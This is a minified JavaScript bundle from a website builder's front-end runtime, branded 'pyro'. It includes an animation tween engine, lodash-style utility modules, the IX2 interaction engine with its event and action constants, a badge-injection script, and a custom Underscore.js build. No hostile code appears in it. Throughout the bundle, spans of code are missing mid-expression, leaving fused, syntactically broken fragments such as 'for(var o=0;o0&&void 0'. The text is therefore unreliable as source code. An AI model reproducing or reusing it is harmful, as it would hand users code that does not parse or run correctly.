n.call(this,t,function(t,n,i){r[t]=n,void 0===this.current[t]&&(e=0,~t.indexOf("scale")&&(e=1),this.current[t]=this.convert(e,i))}),r}}),B=f(function(e){function n(){var t,e,r,i=c.length;if(i)for(D(n),e=M(),t=i;t--;)(r=c[t])&&r.render(e)}var r={ease:l.ease[1],from:0,to:1};e.init=function(t){this.duration=t.duration||0,this.delay=t.delay||0;var e=t.ease||r.ease;l[e]&&(e=l[e][1]),"function"!=typeof e&&(e=r.ease),this.ease=e,this.update=t.update||a,this.complete=t.complete||a,this.context=t.context||this,this.name=t.name;var n=t.from,i=t.to;void 0===n&&(n=r.from),void 0===i&&(i=r.to),this.unit=t.unit||"","number"==typeof n&&"number"==typeof i?(this.begin=n,this.change=i-n):this.format(i,n),this.value=this.begin+this.unit,this.start=M(),!1!==t.autoplay&&this.play()},e.play=function(){var t;this.active||(this.start||(this.start=M()),this.active=!0,t=this,1===c.push(t)&&D(n))},e.stop=function(){var e,n,r;this.active&&(this.active=!1,e=this,(r=t.inArray(e,c))>=0&&(n=c.slice(r+1),c.length=r,n.length&&(c=c.concat(n))))},e.render=function(t){var e,n=t-this.start;if(this.delay){if(n<=this.delay)return;n-=this.delay}if(n-1?u[c?e[s]:s]:void 0}}},function(t,e,n){var r=n(17),i=n(127),o=n(128),a=n(129),u=n(130),c=n(131);function s(t){var e=this.__data__=new r(t);this.size=e.size}s.prototype.clear=i,s.prototype.delete=o,s.prototype.get=a,s.prototype.has=u,s.prototype.set=c,t.exports=s},function(t,e,n){var r=n(9),i=n(4),o="[object AsyncFunction]",a="[object Function]",u="[object GeneratorFunction]",c="[object Proxy]";t.exports=function(t){if(!i(t))return!1;var e=r(t);return e==a||e==u||e==o||e==c}},function(t,e,n){(function(e){var n="object"==typeof e&&e&&e.Object===Object&&e;t.exports=n}).call(this,n(28))},function(t,e){var n=Function.prototype.toString;t.exports=function(t){if(null!=t){try{return n.call(t)}catch(t){}try{return t+""}catch(t){}}return""}},function(t,e,n){var r=n(150),i=n(7);t.exports=function t(e,n,o,a,u){return e===n||(null==e||null==n||!i(e)&&!i(n)?e!=e&&n!=n:r(e,n,o,a,t,u))}},function(t,e,n){var r=n(151),i=n(154),o=n(155),a=1,u=2;t.exports=function(t,e,n,c,s,f){var l=n&a,d=t.length,E=e.length;if(d!=E&&!(l&&E>d))return!1;var p=f.get(t);if(p&&f.get(e))return p==e;var v=-1,_=!0,h=n&u?new r:void 0;for(f.set(t,e),f.set(e,t);++v=r?function(t,e,r,i){for(var o=0;o0?n=c:e=c}while(Math.abs(u)>i&&++s0?n(e):e);return c(e>0&&t&&a[t]?a[t](e):e)};var a=o(n(84)),u=i(n(85));function c(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:5,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:10,r=Math.pow(n,e),i=Number(Math.round(t*r)/r);return Math.abs(i)>1e-4?i:0}},function(t,e,n){var r=n(185),i=n(186),o=n(187);t.exports=function(t){return r(t)||i(t)||o()}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.IX2_TEST_FRAME_RENDERED=e.IX2_MEDIA_QUERIES_DEFINED=e.IX2_VIEWPORT_WIDTH_CHANGED=e.IX2_ACTION_LIST_PLAYBACK_CHANGED=e.IX2_ELEMENT_STATE_CHANGED=e.IX2_INSTANCE_REMOVED=e.IX2_INSTANCE_STARTED=e.IX2_INSTANCE_ADDED=e.IX2_PARAMETER_CHANGED=e.IX2_ANIMATION_FRAME_CHANGED=e.IX2_EVENT_STATE_CHANGED=e.IX2_EVENT_LISTENER_ADDED=e.IX2_CLEAR_REQUESTED=e.IX2_STOP_REQUESTED=e.IX2_PLAYBACK_REQUESTED=e.IX2_PREVIEW_REQUESTED=e.IX2_SESSION_STOPPED=e.IX2_SESSION_STARTED=e.IX2_SESSION_INITIALIZED=e.IX2_RAW_DATA_IMPORTED=void 0;e.IX2_RAW_DATA_IMPORTED="IX2_RAW_DATA_IMPORTED";e.IX2_SESSION_INITIALIZED="IX2_SESSION_INITIALIZED";e.IX2_SESSION_STARTED="IX2_SESSION_STARTED";e.IX2_SESSION_STOPPED="IX2_SESSION_STOPPED";e.IX2_PREVIEW_REQUESTED="IX2_PREVIEW_REQUESTED";e.IX2_PLAYBACK_REQUESTED="IX2_PLAYBACK_REQUESTED";e.IX2_STOP_REQUESTED="IX2_STOP_REQUESTED";e.IX2_CLEAR_REQUESTED="IX2_CLEAR_REQUESTED";e.IX2_EVENT_LISTENER_ADDED="IX2_EVENT_LISTENER_ADDED";e.IX2_EVENT_STATE_CHANGED="IX2_EVENT_STATE_CHANGED";e.IX2_ANIMATION_FRAME_CHANGED="IX2_ANIMATION_FRAME_CHANGED";e.IX2_PARAMETER_CHANGED="IX2_PARAMETER_CHANGED";e.IX2_INSTANCE_ADDED="IX2_INSTANCE_ADDED";e.IX2_INSTANCE_STARTED="IX2_INSTANCE_STARTED";e.IX2_INSTANCE_REMOVED="IX2_INSTANCE_REMOVED";e.IX2_ELEMENT_STATE_CHANGED="IX2_ELEMENT_STATE_CHANGED";e.IX2_ACTION_LIST_PLAYBACK_CHANGED="IX2_ACTION_LIST_PLAYBACK_CHANGED";e.IX2_VIEWPORT_WIDTH_CHANGED="IX2_VIEWPORT_WIDTH_CHANGED";e.IX2_MEDIA_QUERIES_DEFINED="IX2_MEDIA_QUERIES_DEFINED";e.IX2_TEST_FRAME_RENDERED="IX2_TEST_FRAME_RENDERED"},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.ECOMMERCE_CART_CLOSE=e.ECOMMERCE_CART_OPEN=e.PAGE=e.VIEWPORT=e.ELEMENT=e.PAGE_SCROLL=e.PAGE_SCROLL_DOWN=e.PAGE_SCROLL_UP=e.PAGE_FINISH=e.PAGE_START=e.COMPONENT_INACTIVE=e.COMPONENT_ACTIVE=e.DROPDOWN_CLOSE=e.DROPDOWN_OPEN=e.SLIDER_INACTIVE=e.SLIDER_ACTIVE=e.NAVBAR_CLOSE=e.NAVBAR_OPEN=e.TAB_INACTIVE=e.TAB_ACTIVE=e.SCROLLING_IN_VIEW=e.SCROLL_OUT_OF_VIEW=e.SCROLL_INTO_VIEW=e.MOUSE_MOVE=e.MOUSE_OUT=e.MOUSE_OVER=e.MOUSE_UP=e.MOUSE_DOWN=e.MOUSE_SECOND_CLICK=e.MOUSE_CLICK=void 0;e.MOUSE_CLICK="MOUSE_CLICK";e.MOUSE_SECOND_CLICK="MOUSE_SECOND_CLICK";e.MOUSE_DOWN="MOUSE_DOWN";e.MOUSE_UP="MOUSE_UP";e.MOUSE_OVER="MOUSE_OVER";e.MOUSE_OUT="MOUSE_OUT";e.MOUSE_MOVE="MOUSE_MOVE";e.SCROLL_INTO_VIEW="SCROLL_INTO_VIEW";e.SCROLL_OUT_OF_VIEW="SCROLL_OUT_OF_VIEW";e.SCROLLING_IN_VIEW="SCROLLING_IN_VIEW";e.TAB_ACTIVE="TAB_ACTIVE";e.TAB_INACTIVE="TAB_INACTIVE";e.NAVBAR_OPEN="NAVBAR_OPEN";e.NAVBAR_CLOSE="NAVBAR_CLOSE";e.SLIDER_ACTIVE="SLIDER_ACTIVE";e.SLIDER_INACTIVE="SLIDER_INACTIVE";e.DROPDOWN_OPEN="DROPDOWN_OPEN";e.DROPDOWN_CLOSE="DROPDOWN_CLOSE";e.COMPONENT_ACTIVE="COMPONENT_ACTIVE";e.COMPONENT_INACTIVE="COMPONENT_INACTIVE";e.PAGE_START="PAGE_START";e.PAGE_FINISH="PAGE_FINISH";e.PAGE_SCROLL_UP="PAGE_SCROLL_UP";e.PAGE_SCROLL_DOWN="PAGE_SCROLL_DOWN";e.PAGE_SCROLL="PAGE_SCROLL";e.ELEMENT="ELEMENT";e.VIEWPORT="VIEWPORT";e.PAGE="PAGE";e.ECOMMERCE_CART_OPEN="ECOMMERCE_CART_OPEN";e.ECOMMERCE_CART_CLOSE="ECOMMERCE_CART_CLOSE"},function(t,e,n){"use strict";var r=n(0)(n(14));Object.defineProperty(e,"__esModule",{value:!0}),e.isPluginType=function(t){return t===o.PLUGIN_LOTTIE},e.clearPlugin=e.renderPlugin=e.createPluginInstance=e.getPluginDestination=e.getPluginDuration=e.getPluginOrigin=e.getPluginConfig=void 0;var i=n(191),o=n(47),a=n(30),u=(0,r.default)({},o.PLUGIN_LOTTIE,{getConfig:i.getPluginConfig,getOrigin:i.getPluginOrigin,getDuration:i.getPluginDuration,getDestination:i.getPluginDestination,createInstance:i.createPluginInstance,render:i.renderPlugin,clear:i.clearPlugin});var c=function(t){return function(e){if(!a.IS_BROWSER_ENV)return function(){return null};var n=u[e];if(!n)throw new Error("IX2 no plugin configured for: ".concat(e));var r=n[t];if(!r)throw new Error("IX2 invalid plugin method: ".concat(t));return r}},s=c("getConfig");e.getPluginConfig=s;var f=c("getOrigin");e.getPluginOrigin=f;var l=c("getDuration");e.getPluginDuration=l;var d=c("getDestination");e.getPluginDestination=d;var E=c("createInstance");e.createPluginInstance=E;var p=c("render");e.renderPlugin=p;var v=c("clear");e.clearPlugin=v},function(t,e,n){var r=n(92),i=n(198)(r);t.exports=i},function(t,e,n){var r=n(196),i=n(21);t.exports=function(t,e){return t&&r(t,e,i)}},function(t,e,n){"use strict";e.__esModule=!0;var r,i=n(202),o=(r=i)&&r.__esModule?r:{default:r};e.default=o.default},function(t,e,n){"use strict";var r=n(0)(n(87)),i=n(16),o=n(0);Object.defineProperty(e,"__esModule",{value:!0}),e.observeRequests=function(t){j({store:t,select:function(t){var e=t.ixRequest;return e.preview},onChange:ot}),j({store:t,select:function(t){var e=t.ixRequest;return e.playback},onChange:ct}),j({store:t,select:function(t){var e=t.ixRequest;return e.stop},onChange:st}),j({store:t,select:function(t){var e=t.ixRequest;return e.clear},onChange:ft})},e.startEngine=lt,e.stopEngine=dt,e.stopAllActionGroups=gt,e.stopActionGroup=Ot,e.startActionGroup=yt;var a=o(n(26)),u=o(n(207)),c=o(n(62)),s=o(n(23)),f=o(n(209)),l=o(n(215)),d=o(n(227)),E=o(n(228)),p=o(n(229)),v=o(n(232)),_=o(n(233)),h=o(n(93)),I=n(2),T=n(49),g=i(n(236)),O=o(n(237)),y=I.IX2EngineEventTypes,m=y.MOUSE_CLICK,A=y.MOUSE_SECOND_CLICK,S=I.IX2EngineConstants,R=S.COLON_DELIMITER,N=S.BOUNDARY_SELECTOR,b=S.HTML_ELEMENT,C=S.RENDER_GENERAL,L=S.W_MOD_IX,w=I.IX2EngineItemTypes,x=w.GENERAL_START_ACTION,P=w.GENERAL_CONTINUOUS_ACTION,D=I.IX2VanillaUtils,M=D.getAffectedElements,F=D.getElementId,G=D.getDestinationValues,j=D.observeStore,V=D.getInstanceId,X=D.renderHTMLElement,U=D.clearAllStyles,B=D.getMaxDurationItemIndex,W=D.getComputedStyle,k=D.getInstanceOrigin,H=D.reduceListToGroup,Y=D.shouldNamespaceEventParameter,z=D.getNamespacedParameterId,K=D.shouldAllowMediaQuery,Q=D.cleanupHTMLElement,q=D.stringifyTarget,$=D.mediaQueriesEqual,Z=I.IX2VanillaPlugins,J=Z.isPluginType,tt=Z.createPluginInstance,et=Z.getPluginDuration,nt=navigator.userAgent,rt=nt.match(/iPad/i)||nt.match(/iPhone/),it=12;function ot(t,e){var n=t.rawData,r=function(){lt({store:e,rawData:n,allowEvents:!0}),at()};t.defer?setTimeout(r,0):r()}function at(){document.dispatchEvent(new CustomEvent("IX2_PAGE_UPDATE"))}function ut(t){return t&&(0,v.default)(t,"_EFFECT")}function ct(t,e){var n=t.actionTypeId,r=t.actionListId,i=t.actionItemId,o=t.eventId,a=t.allowEvents,u=t.immediate,c=t.testManual,s=t.verbose,f=void 0===s||s,l=t.rawData;if(r&&i&&l&&u&&(l=H({actionListId:r,actionItemId:i,rawData:l})),lt({store:e,rawData:l,allowEvents:a,testManual:c}),r&&n===x||ut(n)){Ot({store:e,actionListId:r}),Tt({store:e,actionListId:r,eventId:o});var d=yt({store:e,eventId:o,actionListId:r,immediate:u,verbose:f});f&&d&&e.dispatch((0,T.actionListPlaybackChanged)({actionListId:r,isPlaying:!u}))}}function st(t,e){var n=t.actionListId;n?Ot({store:e,actionListId:n}):gt({store:e}),dt(e)}function ft(t,e){dt(e),U({store:e,elementApi:g})}function lt(t){var e,n=t.store,i=t.rawData,o=t.allowEvents,a=t.testManual,u=n.getState().ixSession;i&&n.dispatch((0,T.rawDataImported)(i)),u.active||(n.dispatch((0,T.sessionInitialized)({hasBoundaryNodes:Boolean(document.querySelector(N))})),o&&(function(t){var e=t.getState().ixData.eventTypeMap;vt(t),(0,p.default)(e,function(e,n){var i=O.default[n];i?function(t){var e=t.logic,n=t.store,i=t.events;!function(t){if(rt){var e={},n="";for(var r in t){var i=t[r],o=i.eventTypeId,a=i.target,u=g.getQuerySelector(a);e[u]||o!==m&&o!==A||(e[u]=!0,n+=u+"{cursor: pointer;touch-action: manipulation;}")}if(n){var c=document.createElement("style");c.textContent=n,document.body.appendChild(c)}}}(i);var o=e.types,a=e.handler,u=n.getState().ixData,l=u.actionLists,d=_t(i,It);if((0,f.default)(d)){(0,p.default)(d,function(t,e){var o=i[e],a=o.action,f=o.id,d=o.mediaQueries,E=void 0===d?u.mediaQueryKeys:d,p=a.config.actionListId;if($(E,u.mediaQueryKeys)||n.dispatch((0,T.mediaQueriesDefined)()),a.actionTypeId===P){var v=Array.isArray(o.config)?o.config:[o.config];v.forEach(function(e){var i=e.continuousParameterGroupId,o=(0,s.default)(l,"".concat(p,".continuousParameterGroups"),[]),a=(0,c.default)(o,function(t){var e=t.id;return e===i}),u=(e.smoothing||0)/100,d=(e.restingState||0)/100;a&&t.forEach(function(t,i){var o=f+R+i;!function(t){var e=t.store,n=t.eventStateKey,i=t.eventTarget,o=t.eventId,a=t.eventConfig,u=t.actionListId,c=t.parameterGroup,f=t.smoothing,l=t.restingValue,d=e.getState(),E=d.ixData,p=d.ixSession,v=E.events[o],_=v.eventTypeId,h={},I={},T=[],O=c.continuousActionGroups,y=c.id;Y(_,a)&&(y=z(n,y));var m=p.hasBoundaryNodes&&i?g.getClosestElement(i,N):null;O.forEach(function(t){var e=t.keyframe,n=t.actionItems;n.forEach(function(t){var n=t.actionTypeId,o=t.config.target;if(o){var a=o.boundaryMode?m:null,u=q(o)+R+n;if(I[u]=function(){var t,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],n=arguments.length>1?arguments[1]:void 0,i=arguments.length>2?arguments[2]:void 0,o=(0,r.default)(e);return o.some(function(e,r){return e.keyframe===n&&(t=r,!0)}),null==t&&(t=o.length,o.push({keyframe:n,actionItems:[]})),o[t].actionItems.push(i),o}(I[u],e,t),!h[u]){h[u]=!0;var c=t.config;M({config:c,event:v,eventTarget:i,elementRoot:a,elementApi:g}).forEach(function(t){T.push({element:t,key:u})})}}})}),T.forEach(function(t){var n=t.element,r=t.key,i=I[r],a=(0,s.default)(i,"[0].actionItems[0]",{}),c=a.actionTypeId,d=J(c)?tt(c)(n,a):null,E=G({element:n,actionItem:a,elementApi:g},d);mt({store:e,element:n,eventId:o,actionListId:u,actionItem:a,destination:E,continuous:!0,parameterId:y,actionGroups:i,smoothing:f,restingValue:l,pluginInstance:d})})}({store:n,eventStateKey:o,eventTarget:t,eventId:f,eventConfig:e,actionListId:p,parameterGroup:a,smoothing:u,restingValue:d})})})}(a.actionTypeId===x||ut(a.actionTypeId))&&Tt({store:n,actionListId:p,eventId:f})});var E=function(t){var e=n.getState(),r=e.ixSession;ht(d,function(e,o,c){var s=i[o],f=r.eventState[c],l=s.action,d=s.mediaQueries,E=void 0===d?u.mediaQueryKeys:d;if(K(E,r.mediaQueryKey)){var p=function(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},i=a({store:n,element:e,event:s,eventConfig:r,nativeEvent:t,eventStateKey:c},f);(0,h.default)(i,f)||n.dispatch((0,T.eventStateChanged)(c,i))};if(l.actionTypeId===P){var v=Array.isArray(s.config)?s.config:[s.config];v.forEach(p)}else p()}})},v=(0,_.default)(E,it),I=function(t){var e=t.target,r=void 0===e?document:e,i=t.types,o=t.throttle;i.split(" ").filter(Boolean).forEach(function(t){var e=o?v:E;r.addEventListener(t,e),n.dispatch((0,T.eventListenerAdded)(r,[t,e]))})};Array.isArray(o)?o.forEach(I):"string"==typeof o&&I(e)}}({logic:i,store:t,events:e}):console.warn("IX2 event type not configured: ".concat(n))}),t.getState().ixSession.eventListeners.length&&function(t){var e=function(){vt(t)};pt.forEach(function(n){window.addEventListener(n,e),t.dispatch((0,T.eventListenerAdded)(window,[n,e]))}),e()}(t)}(n),-1===(e=document.documentElement).className.indexOf(L)&&(e.className+=" ".concat(L)),n.getState().ixSession.hasDefinedMediaQueries&&function(t){j({store:t,select:function(t){return t.ixSession.mediaQueryKey},onChange:function(){dt(t),U({store:t,elementApi:g}),lt({store:t,allowEvents:!0}),at()}})}(n)),n.dispatch((0,T.sessionStarted)()),function(t,e){!function n(r){var i=t.getState(),o=i.ixSession,a=i.ixParameters;o.active&&(t.dispatch((0,T.animationFrameChanged)(r,a)),e?function(t,e){var n=j({store:t,select:function(t){return t.ixSession.tick},onChange:function(t){e(t),n()}})}(t,n):requestAnimationFrame(n))}(window.performance.now())}(n,a))}function dt(t){var e=t.getState().ixSession;e.active&&(e.eventListeners.forEach(Et),t.dispatch((0,T.sessionStopped)()))}function Et(t){var e=t.target,n=t.listenerParams;e.removeEventListener.apply(e,n)}var pt=["resize","orientationchange"];function vt(t){var e=t.getState(),n=e.ixSession,r=e.ixData,i=window.innerWidth;if(i!==n.viewportWidth){var o=r.mediaQueries;t.dispatch((0,T.viewportWidthChanged)({width:i,mediaQueries:o}))}}var _t=function(t,e){return(0,l.default)((0,E.default)(t,e),d.default)},ht=function(t,e){(0,p.default)(t,function(t,n){t.forEach(function(t,r){e(t,n,n+R+r)})})},It=function(t){var e={target:t.target};return M({config:e,elementApi:g})};function Tt(t){var e=t.store,n=t.actionListId,r=t.eventId,i=e.getState(),o=i.ixData,a=i.ixSession,u=o.actionLists,c=o.events[r],f=u[n];if(f&&f.useFirstGroupAsInitialState){var l=(0,s.default)(f,"actionItemGroups[0].actionItems",[]),d=(0,s.default)(c,"mediaQueries",o.mediaQueryKeys);if(!K(d,a.mediaQueryKey))return;l.forEach(function(t){var i=t.config,o=t.actionTypeId,a=M({config:i,event:c,elementApi:g}),u=J(o);a.forEach(function(i){var a=u?tt(o)(i,t):null;mt({destination:G({element:i,actionItem:t,elementApi:g},a),immediate:!0,store:e,element:i,eventId:r,actionItem:t,actionListId:n,pluginInstance:a})})})}}function gt(t){var e=t.store,n=e.getState().ixInstances;(0,p.default)(n,function(t){if(!t.continuous){var n=t.actionListId,r=t.verbose;At(t,e),r&&e.dispatch((0,T.actionListPlaybackChanged)({actionListId:n,isPlaying:!1}))}})}function Ot(t){var e=t.store,n=t.eventId,r=t.eventTarget,i=t.eventStateKey,o=t.actionListId,a=e.getState(),u=a.ixInstances,c=a.ixSession.hasBoundaryNodes&&r?g.getClosestElement(r,N):null;(0,p.default)(u,function(t){var r=(0,s.default)(t,"actionItem.config.target.boundaryMode"),a=!i||t.eventStateKey===i;if(t.actionListId===o&&t.eventId===n&&a){if(c&&r&&!g.elementContains(c,t.element))return;At(t,e),t.verbose&&e.dispatch((0,T.actionListPlaybackChanged)({actionListId:o,isPlaying:!1}))}})}function yt(t){var e=t.store,n=t.eventId,r=t.eventTarget,i=t.eventStateKey,o=t.actionListId,a=t.groupIndex,u=void 0===a?0:a,c=t.immediate,f=t.verbose,l=e.getState(),d=l.ixData,E=l.ixSession,p=d.events[n]||{},v=p.mediaQueries,_=void 0===v?d.mediaQueryKeys:v,h=(0,s.default)(d,"actionLists.".concat(o),{}),I=h.actionItemGroups,T=h.useFirstGroupAsInitialState;u>=I.length&&(0,s.default)(p,"config.loop")&&(u=0),0===u&&T&&u++;var O=(0===u||1===u&&T)&&ut(p.action&&p.action.actionTypeId)?p.config.delay:void 0,y=(0,s.default)(I,[u,"actionItems"],[]);if(!y.length)return!1;if(!K(_,E.mediaQueryKey))return!1;var m=E.hasBoundaryNodes&&r?g.getClosestElement(r,N):null,A=B(y),S=!1;return y.forEach(function(t,a){var s=t.config,l=t.actionTypeId,d=J(l),E=s.target;if(E){var v=E.boundaryMode?m:null;M({config:s,event:p,eventTarget:r,elementRoot:v,elementApi:g}).forEach(function(s,E){var p=d?tt(l)(s,t):null,v=d?et(l)(s,t):null;S=!0;var _=A===a&&0===E,h=W({element:s,actionItem:t}),I=G({element:s,actionItem:t,elementApi:g},p);mt({store:e,element:s,actionItem:t,eventId:n,eventTarget:r,eventStateKey:i,actionListId:o,groupIndex:u,isCarrier:_,computedStyle:h,destination:I,immediate:c,verbose:f,pluginInstance:p,pluginDuration:v,instanceDelay:O})})}}),S}function mt(t){var e=t.store,n=t.computedStyle,r=(0,u.default)(t,["store","computedStyle"]),i=!r.continuous,o=r.element,c=r.actionItem,s=r.immediate,f=r.pluginInstance,l=V(),d=e.getState(),E=d.ixElements,p=d.ixSession,v=F(E,o),_=(E[v]||{}).refState,h=g.getRefType(o),I=k(o,_,n,c,g,f);e.dispatch((0,T.instanceAdded)((0,a.default)({instanceId:l,elementId:v,origin:I,refType:h},r))),St(document.body,"ix2-animation-started",l),s?function(t,e){var n=t.getState().ixParameters;t.dispatch((0,T.instanceStarted)(e,0)),t.dispatch((0,T.animationFrameChanged)(performance.now(),n)),Rt(t.getState().ixInstances[e],t)}(e,l):(j({store:e,select:function(t){return t.ixInstances[l]},onChange:Rt}),i&&e.dispatch((0,T.instanceStarted)(l,p.tick)))}function At(t,e){St(document.body,"ix2-animation-stopping",{instanceId:t.id,state:e.getState()});var n=t.elementId,r=t.actionItem,i=e.getState().ixElements[n]||{},o=i.ref;i.refType===b&&Q(o,r,g),e.dispatch((0,T.instanceRemoved)(t.id))}function St(t,e,n){var r=document.createEvent("CustomEvent");r.initCustomEvent(e,!0,!0,n),t.dispatchEvent(r)}function Rt(t,e){var n=t.active,r=t.continuous,i=t.complete,o=t.elementId,a=t.actionItem,u=t.actionTypeId,c=t.renderType,s=t.current,f=t.groupIndex,l=t.eventId,d=t.eventTarget,E=t.eventStateKey,p=t.actionListId,v=t.isCarrier,_=t.styleProp,h=t.verbose,I=t.pluginInstance,O=e.getState(),y=O.ixData,m=O.ixSession,A=(y.events[l]||{}).mediaQueries,S=void 0===A?y.mediaQueryKeys:A;if(K(S,m.mediaQueryKey)&&(r||n||i)){if(s||c===C&&i){e.dispatch((0,T.elementStateChanged)(o,u,s,a));var R=e.getState().ixElements[o]||{},N=R.ref,L=R.refType,w=R.refState,x=w&&w[u];switch(L){case b:X(N,w,x,l,a,_,g,c,I)}}if(i){if(v){var P=yt({store:e,eventId:l,eventTarget:d,eventStateKey:E,actionListId:p,groupIndex:f+1,verbose:h});h&&!P&&e.dispatch((0,T.actionListPlaybackChanged)({actionListId:p,isPlaying:!1}))}At(t,e)}}}},function(t,e,n){var r=n(96);t.exports=function(t,e,n){"__proto__"==e&&r?r(t,e,{configurable:!0,enumerable:!0,value:n,writable:!0}):t[e]=n}},function(t,e,n){var r=n(6),i=function(){try{var t=r(Object,"defineProperty");return t({},"",{}),t}catch(t){}}();t.exports=i},function(t,e){t.exports=function(t,e,n){return t==t&&(void 0!==n&&(t=t<=n?t:n),void 0!==e&&(t=t>=e?t:e)),t}},function(t,e,n){var r=n(4),i=Object.create,o=function(){function t(){}return function(e){if(!r(e))return{};if(i)return i(e);t.prototype=e;var n=new t;return t.prototype=void 0,n}}();t.exports=o},function(t,e,n){var r=n(250),i=n(251),o=r?function(t){return r.get(t)}:i;t.exports=o},function(t,e,n){var r=n(252),i=Object.prototype.hasOwnProperty;t.exports=function(t){for(var e=t.name+"",n=r[e],o=i.call(r,e)?n.length:0;o--;){var a=n[o],u=a.func;if(null==u||u==t)return a.name}return e}},function(t,e,n){n(102),n(54),n(105),n(258),n(259),n(260),t.exports=n(261)},function(t,e,n){"use strict";var r=n(8);r.define("brand",t.exports=function(t){var e,n={},i=document,o=t("html"),a=t("body"),u=".w-pyro-badge",c=window.location,s=/PhantomJS/i.test(navigator.userAgent),f="fullscreenchange webkitfullscreenchange mozfullscreenchange msfullscreenchange";function l(){var n=i.fullScreen||i.mozFullScreen||i.webkitIsFullScreen||i.msFullscreenElement||Boolean(i.webkitFullscreenElement);t(e).attr("style",n?"display: none !important;":"")}function d(){var t=a.children(u),n=t.length&&t.get(0)===e,i=r.env("editor");n?i&&t.remove():(t.length&&t.remove(),i||a.append(e))}return n.ready=function(){var n,r,a,u=o.attr("data-pr-status"),E=o.attr("data-pr-domain")||"";/\.pyro\.io$/i.test(E)&&c.hostname!==E&&(u=!0),u&&!s&&(e=e||(n=t('').attr("href","https://pyro.com?utm_campaign=brandjs"),r=t("").attr("src","https://d3e54v103j8qbb.cloudfront.net/img/pyro-badge-icon.f67cd735e3.svg").attr("alt","").css({marginRight:"8px",width:"16px"}),a=t("").attr("src","https://d1otoma47x30pg.cloudfront.net/img/pyro-badge-text.6faa6a38cd.svg").attr("alt","Made in pyro"),n.append(r,a),n[0]),d(),setTimeout(d,500),t(i).off(f,l).on(f,l))},n})},function(t,e,n){"use strict";var r=window.$,i=n(53)&&r.tram; /*! * pyro._ (aka) Underscore.js 1.6.0 (custom build) * _.each * _.map * _.find * _.filter * _.any * _.contains * _.delay * _.defer * _.throttle (pyro) * _.debounce * _.keys * _.has * _.now * * http://underscorejs.org * (c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors * Underscore may be freely distributed under the MIT license. * @license MIT */ t.exports=function(){var t={VERSION:"1.6.0-pyro"},e={},n=Array.prototype,r=Object.prototype,o=Function.prototype,a=(n.push,n.slice),u=(n.concat,r.toString,r.hasOwnProperty),c=n.forEach,s=n.map,f=(n.reduce,n.reduceRight,n.filter),l=(n.every,n.some),d=n.indexOf,E=(n.lastIndexOf,Array.isArray,Object.keys),p=(o.bind,t.each=t.forEach=function(n,r,i){if(null==n)return n;if(c&&n.forEach===c)n.forEach(r,i);else if(n.length===+n.length){for(var o=0,a=n.length;o/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g};var _=/(.)^/,h={"'":"'","\\":"\\","\r":"r","\n":"n","\u2028":"u2028","\u2029":"u2029"},I=/\\|'|\r|\n|\u2028|\u2029/g,T=function(t){return"\\"+h[t]};return t.template=function(e,n,r){!n&&r&&(n=r),n=t.defaults({},n,t.templateSettings);var i=RegExp([(n.escape||_).source,(n.interpolate||_).source,(n.evaluate||_).source].join("|")+"|$","g"),o=0,a="__p+='";e.replace(i,function(t,n,r,i,u){return a+=e.slice(o,u).replace(I,T),o=u+t.length,n?a+="'+\n((__t=("+n+"))==null?'':_.escape(__t))+\n'":r?a+="'+\n((__t=("+r+"))==null?'':__t)+\n'":i&&(a+="';\n"+i+"\n__p+='"),t}),a+="';\n",n.variable||(a="with(obj||{}){\n"+a+"}\n"),a="var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\n"+a+"return __p;\n";try{var u=new Function(n.variable||"obj","_",a)}catch(t){throw t.source=a,t}var c=function(e){return u.call(this,e,t)},s=n.variable||"obj";return c.source="function("+s+"){\n"+a+"}",c},t}()},function(t,e,n){"use strict";var r=window.jQuery,i={},o=[],a={reset:function(t,e){e.__pr_intro=null},intro:function(t,e){e.__pr_intro||(e.__pr_intro=!0,r(e).triggerHandler(i.types.INTRO))},outro:function(t,e){e.__pr_intro&&(e.__pr_intro=null,r(e).triggerHandler(i.types.OUTRO))}};i.triggers={},i.types={INTRO:"w-ix-intro.w-ix",OUTRO:"w-ix-outro.w-ix"},i.init=function(){for(var t=o.length,e=0;e0&&void 0!==arguments[0]?arguments[0]:Object.freeze({}),e=arguments.length>1?arguments[1]:void 0;switch(e.type){case r:return e.payload.ixData||Object.freeze({});default:return t}}},function(t,e,n){var r=n(121),i=n(173),o=n(78);t.exports=function(t){var e=i(t);return 1==e.length&&e[0][2]?o(e[0][0],e[0][1]):function(n){return n===t||r(n,t,e)}}},function(t,e,n){var r=n(64),i=n(68),o=1,a=2;t.exports=function(t,e,n,u){var c=n.length,s=c,f=!u;if(null==t)return!s;for(t=Object(t);c--;){var l=n[c];if(f&&l[2]?l[1]!==t[l[0]]:!(l[0]in t))return!1}for(;++c-1}},function(t,e,n){var r=n(18);t.exports=function(t,e){var n=this.__data__,i=r(n,t);return i<0?(++this.size,n.push([t,e])):n[i][1]=e,this}},function(t,e,n){var r=n(17);t.exports=function(){this.__data__=new r,this.size=0}},function(t,e){t.exports=function(t){var e=this.__data__,n=e.delete(t);return this.size=e.size,n}},function(t,e){t.exports=function(t){return this.__data__.get(t)}},function(t,e){t.exports=function(t){return this.__data__.has(t)}},function(t,e,n){var r=n(17),i=n(32),o=n(33),a=200;t.exports=function(t,e){var n=this.__data__;if(n instanceof r){var u=n.__data__;if(!i||u.length0&&void 0!==arguments[0]?arguments[0]:a,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};switch(e.type){case o.IX2_SESSION_STOPPED:return a;case o.IX2_INSTANCE_ADDED:var n=e.payload,i=n.elementId,u=n.element,f=n.origin,l=n.actionItem,d=n.refType,E=l.actionTypeId,p=t;return(0,r.getIn)(p,[i,u])!==u&&(p=c(p,u,d,i,l)),s(p,i,E,f,l);case o.IX2_ELEMENT_STATE_CHANGED:var v=e.payload;return s(t,v.elementId,v.actionTypeId,v.current,v.actionItem);default:return t}};var 